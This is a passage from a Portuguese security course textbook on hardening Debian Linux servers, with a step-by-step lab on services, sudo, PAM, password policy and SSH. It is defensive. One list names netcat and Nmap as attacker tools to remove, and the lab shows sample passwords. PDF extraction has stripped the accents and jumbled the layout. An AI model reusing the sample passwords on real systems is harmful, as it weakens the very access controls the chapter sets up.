exemplo da sada do comando netstat anp.

LinServer:~# netstat -anp | more


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
State
tcp
LISTEN
tcp
LISTEN
tcp
LISTEN

Foreign Address

PID/Program name
0

0 0.0.0.0:45416

0.0.0.0:*

1541/rpc.statd
0

0 0.0.0.0:111

0.0.0.0:*

1530/portmap
0

0 172.16.1.10:53

0.0.0.0:*

Captulo 10 - Configurao segura de servidores Linux

Virtualizao
Processo de converso
de servidores fsicos em
servidores virtuais. Os
servidores virtuais tm
desempenho menor
que os servidores
fsicos, porm vrios
servidores podem compartilhar os mesmos
recursos, de modo
que um servidor pode
disponibilizar os seus
recursos ociosos para
outros servidores.

1765/named
231

tcp

LISTEN

0 127.0.0.1:53

0.0.0.0:*

1765/named

tcp

LISTEN

0 0.0.0.0:22

0.0.0.0:*

1794/sshd

tcp

LISTEN

0 127.0.0.1:5432

0.0.0.0:*

1814/postgres

tcp

LISTEN

0 127.0.0.1:25

0.0.0.0:*

2096/exim4

tcp

LISTEN

0 127.0.0.1:953

0.0.0.0:*

1765/named

11 lsof i <protocolo>:<porta>: lista o processo associado a uma determinada porta. Exemplo:


lsof i TCP:25. Nem sempre a ferramenta lsof est instalada, ento em alguns casos necessrio
baixar e instalar a ferramenta. No caso do Debian, o comando apt-get install lsof suficiente.
Considerando o exemplo acima, o comando lsof i TCP:111 nos dar o seguinte resultado:

LinServer:~# lsof -i TCP:111


COMMAND

PID

USER

FD

portmap 1530 daemon

TYPE DEVICE SIZE NODE NAME

5u

IPv4

4255

TCP *:sunrpc (LISTEN)

11 ps aux | more: lista todos os processos do sistema. Processos em execuo que no


fazem parte dos servios que se quer configurar no servidor devem ser registrados para
serem desabilitados. Alguns servios podem ser importantes para o sistema, de modo que
desabilit-los pode causar comportamento inesperado. Caso o aluno seja inexperiente
em Linux ou na distribuio em questo, recomendamos que seja instalado um servidor

Runlevel

em laboratrio e que sejam feitos experimentos at que seja desabilitado o mximo de

Nvel de execuo que


corresponde a um
nmero que indica o
modo de execuo em
que se encontra um
sistema operacional
Unix. Por exemplo, o
runlevel 1 corresponde a
um modo de execuo
onde s um usurio
pode usar o sistema.

servios e processos, mantendo os servios que se deseja oferecer em funcionamento.


11 man <servio>: obtm informaes sobre um servio a partir de suas pginas de manual
(man pages). Observe que nem todo processo necessariamente um servio. Um servio
consiste em um ou mais processos, que executam continuamente no servidor com o
intuito de oferecer algum servio para a mquina ou a rede.
Para desabilitar um servio, necessrio remover o link simblico correspondente no
diretrio referente ao runlevel padro do sistema. Ele pode ser determinado examinando o
arquivo /etc/inittab, em uma linha como segue:

id:2:initdefault:

Segurana de Redes e Sistemas

No exemplo acima, o runlevel padro 2, de forma que os servios que devem ser desabilitados encontram-se no diretrio /etc/rc.d/rc2.d. Em alguns sistemas, esses servios podem
estar localizados em outro diretrio.
Consulte a documentao do sistema em questo para determinar onde eles se encontram.
No caso do Debian do nosso laboratrio, temos os servios habilitados no diretrio /etc/rc2.d:

LinServer:/etc/rc2.d# ls
README
S89atd

S12acpid
S91apache2

S10rsyslog
232

S15bind9

S15lwresd

S19postgresql-8.3

S20nfs-common

S99rmnologin
S16ssh

S20exim4

S20openbsd-inetd

S89cron

S99rc.local

S99stop-bootlogd

Em um grau de detalhamento maior, verificamos que os arquivos nessa pasta na realidade


so links para scripts de inicializao do servio no diretrio /etc/init.d, onde podemos enviar
comandos, como start e stop para iniciar e terminar o servio, respectivamente.

LinServer:/etc/rc2.d# ls -la S10rsyslog


lrwxrwxrwx 1 root root 17 2010-07-11 20:24 S10rsyslog -> ../init.d/
rsyslog
A letra S antes do nome do servio indica que o servio ser iniciado (start). Para finalizar
o servio, h a letra K (kill). O nmero a seguir indica a prioridade. Servios com menor
nmero sero iniciados primeiro pelo sistema.
Outra forma de gerenciar servios com o comando rcconf. Ele pode ser instalado atravs
do comando apt-get install rcconf. Aps instalado, basta execut-lo para ser apresentado a
um menu bastante prtico, onde podemos habilitar e desabilitar os servios desejados.

Figura 10.1
Tela do rconf.

Como j foi dito, o administrador no deve ter receio de desabilitar os servios. Caso algum
habilitado posteriormente (treine em um laboratrio antes). Ao final, uma nova execuo
do comando netstat pode confirmar que os servios desnecessrios foram desabilitados.
Alguns servios utilizam o servio inetd (Internet Super Server) e devem ser desabilitados no
arquivo /etc/inetd.conf.
Para mais informaes sobre o inetd (ou xinetd em sistemas mais modernos), consulte as
pginas de manual correspondentes com o comando man (ex.: man inetd.conf).
Caso o inetd no seja necessrio no seu servidor, ou seja, nenhum servio esteja configurado
nele, ele pode ser desabilitado.
importante ainda lembrar que desabilitar um servio no o desinstala do servidor,
de modo que um atacante que tenha acesso ao servidor pode iniciar novamente
o servio. Aps desabilitar o servio e ter certeza de que ele no ser usado, importante remover o pacote correspondente do sistema.

Captulo 10 - Configurao segura de servidores Linux

servio seja desabilitado e impea o sistema de funcionar corretamente, ele pode ser

233

Exerccio de fixao 1 e
Desabilitando servios desnecessrios
Por que devemos desabilitar os servios desnecessrios?

Pacotes e programas
Desabilitar os servios de rede desnecessrios reduz a superfcie de ataque ao servidor, que
em combinao com regras de filtragem no firewall, proveem uma boa camada de proteo.
Apesar disso, um atacante pode ainda conseguir comprometer um servio vlido e consequentemente obter acesso ao servidor comprometido. Esse acesso pode possibilitar ao
atacante obter acesso de administrador ou ainda comprometer outros servidores na rede.
Para procurar reduzir o que um atacante capaz de fazer no servidor em caso de comprometimento, este deve possuir um conjunto mnimo de pacotes. Em especial, pacotes que
proveem ferramentas para o atacante tentar comprometer outros sistemas. A lista a seguir
sugere alguns pacotes para serem desabilitados.
Deixe para desabilitar pacotes ao final da configurao do servidor, pois voc pode pre-

cisar deles para alguma tarefa administrativa:


11 Compiladores de linguagens (gcc, g++ e javac).
11 Pacotes de monitoramento de conexes de rede (TCPdump, Nmap e netcat).
11 Pacotes de produtividade (editores de texto e planilhas de clculo).
22 Um servidor no deve ser usado como estao de trabalho.
11 Ambiente grfico (X11): devem ser utilizados os ambientes grficos das estaes para
realizar tarefas de configurao.
22 Muitos servios possuem ambientes de configurao web ou aplicaes
cliente-servidor, de modo que no necessrio manter o ambiente
grfico instalado.
22 Caso seja indispensvel, considere filtrar as portas do XWindows (X11) no seu
firewall de borda.
11 Servios de rede no criptografados (Telnet, pop3 e Imap)
22 D preferncia sempre a servios criptografados (SSH, SFTP, pop3s e imaps).
11 Servios que foram desabilitados.
Desabilitar pacotes pode ser uma tarefa complexa e cansativa. Recomenda-se que se parta

Segurana de Redes e Sistemas

do princpio inverso, ou seja, realizar uma instalao mnima e ir adicionando pacotes

234

medida que forem sendo necessrios. Ao final da implantao do servidor, devem ser
removidos pacotes temporrios que porventura tenham sido instalados para a configurao
do servidor. Pacincia, conhecimento e persistncia so princpios fundamentais para essa
tarefa. No Debian, o comando tasksel pode ajudar, pois atravs dele possvel selecionar as
funcionalidades de que o servidor dispor, de modo que automaticamente os pacotes correspondentes so adicionados ou removidos. Abaixo um exemplo de execuo do comando.

SSH
Secure Shell um servio
criptografado que surgiu
para substituir servios
inseguros como scp, rsh,
rcopy e telnet.

Figura 10.2
Execuo do
comando tasksel.

Os pacotes podem ser desinstalados atravs de dois comandos:

apt-get remove <pacote>


dpkg R <pacote>
Para remover um pacote, necessitamos primeiro saber o seu nome. Para tanto, podemos
usar algumas ferramentas para procurar o pacote desejado. Como exemplo, imagine que
queremos remover o pacote referente ao SSH:

dpkg l *ssh*

Figura 10.3
Lista de pacotes instalados no sistema.

No exemplo acima, os pacotes marcados com ii esto instalados no sistema. Dessa forma,
podemos remover os pacotes desejados:

dpkg R openssh-client

Captulo 10 - Configurao segura de servidores Linux

Esse comando listar todos os pacotes instalados que se referem ao SSH:

dpkg R openssh-server
235

Configurao segura de servios


Princpios bsicos:

11 Usurios sem privilgios.


11 Chroot.
11 Desabilitar funcionalidades desnecessrias.
Acessos administrativos:
11 Acessos criptografados.
11 Controle de acesso por estao.
11 Autenticao mais forte.
11 Conta de usurio comum (sudo).
Configurar um servio de forma segura tambm complicado e depende do servio que se
est implantando, porm existem alguns princpios bsicos que devem ser observados em
qualquer servio Unix, como veremos a seguir.

Usurios sem privilgios


Muitos servios possuem no prprio arquivo de configurao a opo de escolher um usurio
para executar o servio, de modo a ter o direito desse usurio. A ideia escolher um usurio que
tenha um mnimo de direitos sobre o sistema, seguindo o princpio do menor privilgio. Caso o
servio no tenha essa opo, ainda assim possvel criar um usurio e executar o servio com
os direitos do usurio, com o comando su. Por exemplo, para executar o servio serverd, poderamos utilizar o comando: su serverd_user c /caminho/serverd. Alguns servios necessitam de
privilgios especiais e no so capazes de executar como usurios comuns do sistema. Deve-se
tomar um cuidado extra com esses servios, como registrar todos os acessos e eventos do
servio em um servidor de logs seguro, de acordo com o que foi visto no captulo 4.

Chroot
Esse um recurso presente em sistemas Unix, onde um determinado processo do sistema
enxerga apenas uma sub-rvore do sistema operacional. Dessa forma, o processo no ser
capaz de ler, gravar ou executar arquivos fora desta sub-rvore. Assim como o usurio sem
privilgios, o chroot utilizado por diversos servios modernos. Normalmente a prpria distribuio possui pacotes que instalam o servio com o recurso. Configurar um servio para
rodar com esse recurso pode ser uma tarefa complicada, pois devero ser previstos todos
os recursos que o servio necessita utilizar, de modo que eles devem estar em um diretrio
acessvel, dentro da rvore ao qual o processo foi enjaulado. No caso do Debian, podemos
procurar se existe verso chroot para o servio que vamos instalar, como no exemplo abaixo

Segurana de Redes e Sistemas

para um servidor web (Apache):

LinServer:~# apt-cache search apache | grep chroot


libapache2-mod-chroot - run Apache in a secure chroot environment
mod-chroot-common - run Apache in a secure chroot environment

Desabilitar funcionalidades desnecessrias


Muitos servios possuem recursos adicionais, como plugins, que podem no ser necessrios
para o funcionamento do servidor a ser configurado. Dessa forma, o administrador deve analisar cuidadosamente os arquivos de configurao do servio, de modo a desabilitar qualquer

236

recurso que seja indesejado. Essa tarefa tambm no simples e depende da experincia
do administrador em um determinado servio. Quanto menos recursos o servio oferecer,
mais seguro ele ser. Um exemplo de funcionalidade desnecessria seria um servidor www
Apache instalado com suporte a PHP. Caso no existam scripts em PHP sendo utilizados,
eles podem perfeitamente ser desabilitados.

Exerccio de fixao 2 e
Configurao segura de servios
Quais os princpios bsicos da configurao segura de servios?

Acessos administrativos
comum em servidores existir um acesso administrativo para que o administrador no
necessite se deslocar fisicamente at o equipamento para obter acesso. Normalmente se
utiliza uma emulao de terminal remoto, como o Secure Shell (SSH), ou um console web,
como o webmin. Apesar de ser um recurso prtico, deve ser usado com muita cautela, pois
pode permitir a um atacante obter acesso privilegiado ao servidor. Alguns cuidados bsicos
devem ser tomados ao tratar de acessos administrativos:
11 Utilizar sempre acessos criptografados para garantir que os dados no sero interceptados em trnsito na rede. Protocolos como Telnet, RSH, RCP e Xwindows devem ser
substitudos por verses seguras, como SSH. Acessos remotos devem ser realizados
atravs de recurso VPN com criptografia. Consoles de administrao web devem sempre
utilizar o HTTP seguro (HTTPS).
11 O administrador deve possuir um conjunto de estaes definido para acessar o servidor
e s deve aceitar conexes dessas estaes. Essa configurao pode ser realizada atravs
de permisses de acesso no prprio servidor ou atravs de filtros de pacotes. Caso haja
a necessidade de acesso de muitos locais distintos, pode-se configurar um servidor com
apenas o servio de acesso administrativo e utilizar esse servidor para acessar os demais.
11 Em caso de servidores pblicos (DMZ), nenhum acesso administrativo deve ser permitido
diretamente a partir da internet. Administradores fora da organizao devem utilizar
11 Caso seja vivel, pois envolve custo financeiro, deve-se utilizar uma autenticao mais
Tokens
Dispositivos de segurana que armazenam
chaves de criptografia
e certificados digitais.
Algo que o usurio
possua para comprovar
sua identidade.

forte, como tokens e certificados digitais para acessos administrativos nos servidores
e em conexes VPN.
11 Utilizar sempre uma conta de usurio comum para acesso, utilizando posteriormente o
comando su ou sudo para obter acesso de administrador. Dessa forma, ficar no sistema o
registro do administrador que realizou determinado acesso. Caso seja possvel, devem-se
criar contas de administrao restritas para administradores que realizam tarefas especficas. O comando sudo permite que seja dado acesso de administrador apenas a alguns
comandos, de modo que o usurio pode executar sudo <comando>, para executar um
comando autorizado como administrador. O arquivo /etc/sudoers contm a configurao
do servio sudo. Caso o sudo no esteja instalado, o comando apt-get install sudo suficiente para instalar. Mais informaes sobre o sudo podem ser obtidas com o comando
man sudo. O exemplo abaixo mostra uma configurao de sudo, de modo a permitir que o
usurio peixinho.icp possa acessar qualquer comando como administrador.

Captulo 10 - Configurao segura de servidores Linux

canais seguros, como VPN, para administrar os servidores sob a sua responsabilidade.

237

Figura 10.4
Configurao
de sudo.

Ateno para o parmetro PASSWD, pois caso seja NOPASSWD, o usurio poder
executar tarefas como administrador sem a necessidade de entrar com a senha do
seu usurio.
11 Evite que um usurio possa realizar o primeiro login no sistema como root. Tal configurao obriga o usurio a autenticar com um usurio comum e, depois, utilizar o sudo para
se tornar administrador do sistema. Para ativar esse recurso, basta apagar o contedo do
arquivo /etc/securetty. Observe que alguns sistemas no utilizam o PAM para autenticao
(ex.: OpenSSH), assim ser necessrio verificar se essa opo est disponvel na aplicao.
11 No permita que qualquer usurio possa se tornar root utilizando o sudo. O sistema de
autenticao do Linux (PAM) permite que voc crie um grupo especial e que somente
membros desse grupo possam se tornar root. Essa configurao vai impedir que um
usurio comum, mesmo sabendo a senha do root, possa se promover como root do
sistema. Para evitar esse comportamento, voc dever criar um grupo chamado wheel
(# groupadd wheel) e modificar o arquivo /etc/pam.d/su (inserindo no final do arquivo a linha
auth required pam_wheel.so group=wheel), de forma a permitir que apenas os membros
desse grupo possam se tornar root do sistema. No se esquea de colocar um usurio como
membro do grupo wheel (# usermod G wheel usuario) antes de realizar o logoff.

Segurana de Redes e Sistemas

11 Proteja o sistema de inicializao do Linux (GRUB) com senha. Sem essa proteo, um ata-

238

cante que tenha acesso fsico mquina poder reiniciar o sistema como root utilizando
um modo conhecido como Single User Mode. Para desativar essa opo, edite o arquivo
/boot/grub/menu.lst e insira no final a linha password mudeme.
11 Um problema simples no Linux que, se um atacante tiver acesso ao console e apertar
as teclas CTRL + ALT + DEL (utilizadas para autenticar em mquinas Windows), reiniciar,
automaticamente, o servidor. Para evitar esse comportamento, comente a linha
# ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now no arquivo /etc/inittab.

Ferramentas de segurana de servidores


Existe uma srie de ferramentas que podem aumentar a segurana de um servidor.
As mais comuns so os HIDS, que foram tratados no captulo 5. Existem ainda ferramentas
que realizam uma srie de mudanas no sistema, com o intuito de torn-lo mais seguro.
Dentre estas, podemos destacar as ferramentas Bastille Linux e Security Enhanced Linux,
disponveis na internet e gratuitas. Essas ferramentas no sero tratadas neste curso, por
serem ferramentas avanadas. Porm, se o aluno tiver interesse, existem diversos guias na
internet sobre como instalar essas ferramentas.

Testes de configurao e auditoria


Testar se uma configurao de um servidor est suficientemente segura uma fase importante do processo, pois permite verificar se a configurao realizada realmente aumentou a
segurana do servidor. Ferramentas de auditoria como Nmap e Nessus podem ser usadas
no servidor para verificar o nvel de segurana atingido. Essas auditorias devem ainda ser
realizadas periodicamente, para verificar a aplicao de atualizaes de segurana fornecidas pelo fabricante (patches) e se alguma configurao especfica no causou nenhum
impacto na segurana do servidor. Mais informaes sobre auditoria podem ser encontradas no captulo 8.

Exerccio de fixao 3 e
Acessos administrativos
Quais so os cuidados bsicos ao tratar de acessos administrativos?

Atualizao do sistema operacional


Pacotes compilados:

11 Instalao separada.
11 Facilitar a remoo.
11 Manter atualizado manualmente.

cante. No caso do Linux, cada distribuio possui uma forma diferente de instalar essas atualizaes. No Debian, podemos manter nosso sistema atualizado com apenas dois comandos:

apt-get update
apt-get upgrade

Captulo 10 - Configurao segura de servidores Linux

fundamental em qualquer sistema operacional a instalao das correes fornecidas pelo fabri-

239

Figura 10.5
Exemplo de uso
do comando
apt-get upgrade.

Veja que, em alguns casos, a quantidade de atualizaes grande. No exemplo acima, sero
baixados 61 MB de atualizaes. Caso sua distribuio no seja Debian, verifique na documentao disponvel como fazer para atualizar os pacotes. O Debian permite ainda atualizar a
verso instalada, caso uma nova verso seja lanada. Para tal, normalmente usamos o
comando apt-get dist-upgrade, porm existem alguns passos que devem ser executados.

Pacotes compilados
Em alguns casos, a verso que desejamos de um determinado software no est disponvel
na distribuio que usamos ou o software em si no foi empacotado pelo distribuidor.
Nesses casos, muito comum o administrador baixar o cdigo-fonte do software e compil-lo
no prprio servidor. Alguns usurios mais avanados baixam inclusive o ncleo do sistema

A pgina Chapter 4.
Upgrades from
previous releases
detalha o processo de
atualizao de verso
no Debian.

(kernel), para compilar e instalar um kernel customizado.


Deve-se tomar cuidado com a instalao de software compilado, pois eles podem se confundir com os pacotes instalados no sistema, tornando difcil a desinstalao depois. Deve-se
sempre instalar software compilado em diretrios distintos, como o /usr/local ou /opt. Deve-se
ainda fazer um controle dos arquivos instalados pelo software, para facilitar a desinstalao.
As ferramentas de compilao (gcc, g++, etc.) podem ser usadas por um atacante para compilar seu prprio software malicioso, ento devem ser removidas aps o uso.
Por fim, a instalao de um kernel customizado uma tarefa complexa, mas que possui a vantagem de gerar um kernel mais leve e com menos recursos (princpio do menor privilgio), de
modo que uma vulnerabilidade encontrada em um recurso do kernel, que no esteja sendo utilizado pelo seu servidor, pode no afetar um kernel customizado sem esse recurso. O problema
que, a cada atualizao do kernel, o administrador ter de recompil-lo, o que leva tempo e
pode sobrecarregar a administrao no caso de um ambiente com diversos servidores.

Sistema de arquivos proc


Muitos parmetros de kernel podem ser alterados atravs do sistema de arquivos /proc ou
usando sysctl. Tais alteraes podem aumentar o desempenho e segurana geral do sistema.
Abaixo so listados alguns parmetros interessantes (no formato para o arquivo
Segurana de Redes e Sistemas

/etc/sysctl.conf ), que devero ser avaliados caso a caso antes de serem implementados

240

em ambiente de produo:
net.ipv4.ip_forward = 0

O encaminhamento IP entre placas s


necessrio em servidores Linux que atuaro
como roteador entre diferentes redes.

net.ipv4.icmp_echo_ignore_all=1

Evita que a mquina responda a qualquer


tipo de ICMP.

net.ipv4.icmp_echo_ignore_broadcasts=1

Previne o ataque de smurf.

Para saber mais sobre


compilao de kernel, a
pgina The Linux
Kernel HOWTO tem
informaes teis.

No aceite pacotes de fonte roteada. Atacantes


podem usar fontes roteadas para gerar trfego,
fingindo vir de dentro de sua rede.

net.ipv4.conf.all.accept_redirects=0

Redirecionamento de ICMP pode ser usado


para alterar tabelas de roteamento na
mquina alvo.

net.ipv4.icmp_ignore_bogus_error_responses=1

Proteo contra mensagens de erro


ICMP falsas.

Pesquise na internet sobre esse assunto, pois existem inmeros parmetros que,
se alterados, podem aumentar o desempenho de uma aplicao. Uma ltima dica:
procure por tunning tcp/ip na web e boa sorte!

Captulo 10 - Configurao segura de servidores Linux

Figura 10.6
Parmetros para
o arquivo
/etc/sysctl.conf.

net.ipv4.conf.all.accept_source_route=0

241

242

Segurana de Redes e Sistemas

Roteiro de Atividades 10
Atividade 1 Configurao segura de servidor
Utilizando as tcnicas estudadas, vamos modificar algumas configuraes do servidor Linux
de modo a torn-lo mais seguro.
Passo 1

Acesse o servidor LinServer-G e configure uma senha para evitar que um usurio
reinicie e o servidor e consiga inicializ-lo em modo single, ou seja, como root
sem precisar inserir a senha de root. Essa configurao deve ser encarada como
obrigatria sempre que o servidor estiver localizado em uma sala insegura.
Executar o grub [LinServer-G:~]# grub e cifrar a senha utilizando o algoritmo
md5. Observe os passos abaixo:

[LinServer-G:~]#/sbin/grub
GRUB version 0.92 (640K lower / 3072K upper memory)
Minimal BASH-like line editing is supported. For the
first word, TAB lists possible
command completions. Anywhere else TAB lists the possible completions of a device/filename.
grub> md5crypt
Password: ********(Comentrio: foi digitado rnpesr no
prompt)
Encrypted: $1$T7/dgdIJ$dJM.n2wZ8RG.oEiIOwJUs.
grub> quit
Agora, insira a linha abaixo no final do arquivo /boot/grub/menu.lst no esquecendo de colar a senha gerada no passo anterior:

password --md5 $1$T7/dgdIJ$dJM.n2wZ8RG.oEiIOwJUs.


Verifique todos os servios que esto sendo inicializados junto com o servidor. Pesquise na internet o papel de todos os servios. Ateno aos que
voc no conhea. Verifique se vital para o funcionamento do sistema. Para
essa verificao pode ser utilizado o comando:

# apt-get install rcconf


# rcconf
Isso remover da inicializao conjunta com o sistema operacional quando
este for iniciado. Para verificar os servios que esto ativos, podemos utilizar
os comandos:

# netstat nap
Para mais detalhes sobre uma determinada porta que esteja aguardando por
conexo na rede, podemos utilizar o comando:

# lsof i PROTOCOLO:PORTA -n
Ex.:

LinServer-G:~# lsof -i tcp:22 -n


COMMAND

PID USER

FD

TYPE DEVICE SIZE NODE NAME

sshd

1786 root

3u

IPv6

4829

TCP *:ssh (LISTEN)

sshd

1786 root

4u

IPv4

4831

TCP *:ssh (LISTEN)

sshd

2440 root

3r

IPv4

6338

TCP

172.16.1.10:ssh->172.16.1.1:39157 (ESTABLISHED)

Captulo 10 - Roteiro de Atividades

Passo 2

LinServer-G:~#
243

Passo 3

Para pacotes que voc pesquisou e sabe que no sero necessrios ao seu
sistema, a recomendao remover. Para remover os pacotes desnecessrios
sem remover as configuraes personalizadas, vamos utilizar o comando:

# apt-get remove nome_do_pacote


Para remover todos os histricos de um pacote, vamos utilizar o comando:

# apt-get purge nome_do_pacote


Para listar todos os pacotes instalados no sistema, podemos utilizar o
comando:

# dpkg l
recomendado o uso da ajuda do comando dpkg para verificar os possveis
parmetros:

# dpkg help
Passo 4

Para modificar o acesso administrativo no servidor, vamos utilizar a ferramenta sudo para nos auxiliar. Instale o pacote sudo com o comando:

# apt-get install sudo


Edite o arquivo de configurao do sudo (/etc/sudoers) e adicione a linha:

aluno

ALL=(ALL) ALL

Essa linha vai permitir ao usurio aluno todos os nveis de acessos do usurio
root.
Passo 5

Verifique o funcionamento do sudo. Conecte remotamente com o protocolo


SSH e como usurio aluno, mude para modo privilegiado com sudo:

$ sudo su
Exemplo:
aluno@LinServer-A:~$ sudo su -

We trust you have received the usual lecture from the


local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.


#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for aluno:

Segurana de Redes e Sistemas

LinServer-A:~#

244

Passo 6

Por padro, atravs do comando su o Linux permite que qualquer usurio


possa se tornar o root do sistema. Para evitar esse comportamento o Linux
implementa um grupo especial chamado wheel e podemos configurar o
arquivo /etc/pam.d/su de forma a permitir que apenas os membros desse
grupo possam se tornar root do sistema.
Crie um usurio chamado suporteloc:

[root@localhost ~]# adduser suporteloc


Crie um grupo chamado wheel:

[root@localhost ~]# addgroup wheel


Faa com que o usurio suporteloc seja membro do grupo wheel:

[root@localhost ~]# usermod G wheel suporteloc


Edite o arquivo /etc/pam.d/su e descomente a linha abaixo.

auth required pam_wheel.so


Passo 7

Para testar o funcionamento do grupo wheel, autentique-se na mquina


LinServer-G com o usurio aluno e tente executar o comando $ su -. Observe
que no vai funcionar. Agora, realize o login utilizando o mesmo usurio e
tente, novamente, executar o comando $ su -

Passo 8

Agora vamos restringir a quantidade de usurios que podem autenticar no


console da mquina. Para tal, vamos configurar o mdulo pam_access nos
principais sistemas de autenticao: SSH, Console Login, Graphical Gnome
Login (se estiver instalada) e, opcionalmente, para todos os outros sistemas.
Para o SSH adicione o pam_access no arquivo /etc/pam.d/sshd aps a linha
pam_nologin.so:

account required pam_access.so


Para o console adicione o pam_access no arquivo /etc/pam.d/login aps a linha
pam_nologin.so:

account required pam_access.so


Adicionar ao final do arquivo /etc/security/access.conf que lido pelo mdulo
pam_access as seguintes linhas
Cuidado: se essa configurao for realizada de forma errada,
ningum poder mais autenticar na mquina.

+ : wheel : LOCAL 172.16.


- : ALL : ALL
A primeira linha permite aos usurios do grupo wheel autenticar na mquina
local cuja a origem seja a rede 172.16.0.0/16, enquanto a segunda linha bloqueia o acesso para qualquer outro usurio.
Para verificar o funcionamento do pam_access, monitore o arquivo /var/log/
auth.log e tente realizar a autenticao via SSH a partir da estao de trabalho
fsica Windows XP. Observe que mesmo que acerte a senha voc no conseguir acesso ao servidor e que, no arquivo auth.log, ser gerada a linha

pam_access(sshd:account): access denied for user


`suporteloc` from `10.1.1.10`
Tente autenticar via SSH a partir do servidor FWGW1-G. Observe que
funcionar normalmente.

Captulo 10 - Roteiro de Atividades

Passo 9

245

Passo 10

Agora vamos obrigar os usurios locais a utilizar senhas fortes. Para isso
vamos instalar e configurar a biblioteca craklib.
Para instalar, execute:

# apt-get install libpam-cracklib


Edite o arquivo /etc/pam.d/common-password, remova o comentrio e
modifique a linha pam_cracklib conforme abaixo:

password required pam_cracklib.so retry=3 minlen=14


difok=3 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1
password sufficient pam_unix.so md5 shadow nullok try_
first_pass use_authtok remember=12
Isso adicionar o cracklib, que vai obrigar todas as novas senhas de usurio a ter:
Parmetro

Descrio sucinta

minlen=14

Quantidade mnima de caracteres

lcredit=-1

Quantidade mnima de letras minsculas


(-1 significa: no mnimo, uma letra minscula)

ucredit=-1

Quantidade mnima de letras maisculas


(-1 significa:no mnimo, uma letra maiscula)

dcredit=-1

Quantidade mnima de caracteres numricos


(-1 significa: no mnimo, um caractere numrico)

ocredit=-1

Quantidade mnima de caracteres especiais


(-1 significa: no mnimo, um caractere especial)

remember=12

Nmero de senhas que sero lembradas de forma a no


permitir a repetio de senhas antigas

Voc deve criar o arquivo /etc/security/opasswd caso ele no exista.

[root@localhost ~]# touch /etc/security/opasswd


[root@localhost ~]# chown root:root /etc/security/opasswd
[root@localhost ~]# chmod 600 /etc/security/opasswd
O usurio root no obedece as restries impostas pela cracklib.

Segurana de Redes e Sistemas

Passo 11

246

Para testar essa configurao, autentique utilizando o usurio suporteloc e


tente modificar sua senha para algo bem simples. Agora tente alterar para
um senha que atenda a poltica acima configurada.

Passo 12

Vamos ativar um mecanismo interessante para fortalecer a poltica de senhas


locais implementando o processo de expirao para senhas antigas. Em
geral, no recomendado que o sistema imponha a expirao da senha para
contas de servio. Isso pode levar a interrupes de um servio se a conta
de um aplicativo expirar. Uma poltica corporativa deve reger as alteraes
de senha para contas de usurios individuais do sistema e deve expirar as
senhas automaticamente.
Os seguintes arquivos e parmetros da tabela devem ser usados quando
uma nova conta criada com o comando useradd. Essas configuraes so
registradas para cada conta de usurio no arquivo /etc/shadow. Portanto,
certifique-se de configurar os seguintes parmetros antes de criar qualquer
usurio contas utilizando o comando useradd:
Arquivo

Parmetro

Descrio sucinta

/etc/login.defs

PASS_MAX_DAYS 90

Nmero mximo de dias


em que uma senha vlida.

/etc/login.defs

PASS_MIN_DAYS 7

Nmero mnimo de dias


antes que um usurio
possa alterar a senha
desde a ltima alterao.

/etc/login.defs

PASS_WARN_AGE 7

Nmero de dias quando


o lembrete de senha
comea a mudar.

/etc/default/useradd

INACTIVE 14

Nmero de dias aps a


expirao da senha, at
que a conta seja definitivamente desativada.

Certifique-se de que os parmetros acima foram alterados nos arquivos


/etc/login.defs e /etc/default/useradd.
As configuraes acima passam a ser utilizadas apenas por usurios criados
a partir desse momento. Usurios antigos no vo receber esses atributos.
Observe que, quando uma conta de usurio criada usando o comando
useradd, os parmetros listados na tabela acima so inseridos no arquivo
/etc/shadow, no seguinte formato:

<nome-de-usurio>: <senha>: <data>: PASS_MIN_DAYS: PASS_


MAX_DAYS: PASS_WARN_AGE: INACTIVE: EXPIRE:
Voc pode alterar a data de envelhecimento a qualquer momento.
Para desabilitar a data do envelhecimento para contas de sistema e contas
compartilhadas, voc pode executar o comando chage:

[root@localhost /]# chage -M 99999 <account>


Para adicionar uma data de expirao da conta, execute:

[root@localhost ~]#useradd -e mm/dd/yy <login_name>


Para obter informaes sobre a expirao da senha:
Na instalao padro, as contas de servio j possuem data de expirao
igual a 99999.
Passo 13

A opo de logoff automtico evita o uso indevido da sesso de um administrador quando este, inadvertidamente, no faz o logoff manual. A varivel
TMOUT controla, em segundos, o tempo mximo aceito pelo sistema sem que
o usurio execute um comando ou aperte uma tecla. Decorrido esse tempo,
a mquina vai, automaticamente, efetuar o logoff do usurio.
Edite o arquivo /etc/profile e adicione a seguinte linha:

TMOUT=900
O valor da varivel TMOUT= em segundos, ou seja, 15 minutos

Captulo 10 - Roteiro de Atividades

[root@localhost ~]# chage -l <account>

(15*60 = 900 segundo).


247

Passo 14

As configuraes abaixo so recomendadas para o servio de terminal SSH.


Para alter-las, vamos editar o arquivo de configurao do servidor Open SSH
/etc/ssh/sshd_config. Observe os comentrios para decidir que parmetros voc
vai utilizar. Em nosso treinamento, configure todos os parmetros abaixo:

#No permitir o login do usuario root


PermitRootLogin no
#Prevenir que o SSH seja configurado para realizar
forwarding do servio do X11
AllowTcpForwarding no
X11Forwarding no
# Configurar o Banner padro
Banner /etc/issue
Reinicie o servidor SSH para aplicar as novas configuraes:

# /etc/init.d/ssh restart
Verifique o funcionamento e tente acessar remotamente utilizando o usurio
root. A partir desse momento, voc est convidado a utilizar sempre o
usurio aluno e/ou suporteloc com permisses bsicas. Quando necessitar
realizar alguma atividade administrativa, utilize sudo ou su para obter os
privilgios necessrios. Dessa forma, teremos registros do usurio que
realizou determinada atividade com privilgios administrativos.
Passo 15

Desabilite a permisso para que o usurio root acesse o sistema pelo console
fsico. Para isso, edite o arquivo de configurao /etc/securetty. Vamos apagar
todo o contedo desse arquivo de configurao:

# cp /etc/securetty /etc/securetty.old
# echo > /etc/securetty
Para testar a configurao, acesse o console via Virtual Box e acesse o servidor com o usurio root. Se no for possvel, acesse com o usurio aluno.
Passo 16

Para evitar que o servidor Linux seja reiniciado quando o seu teclado for
confundido com o de um servidor Windows, desabilite a combinao
Ctrl+Alt+Del editando o arquivo de configurao /etc/inittab e comente ou
apague a seguinte linha:

ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now


Ficando assim:

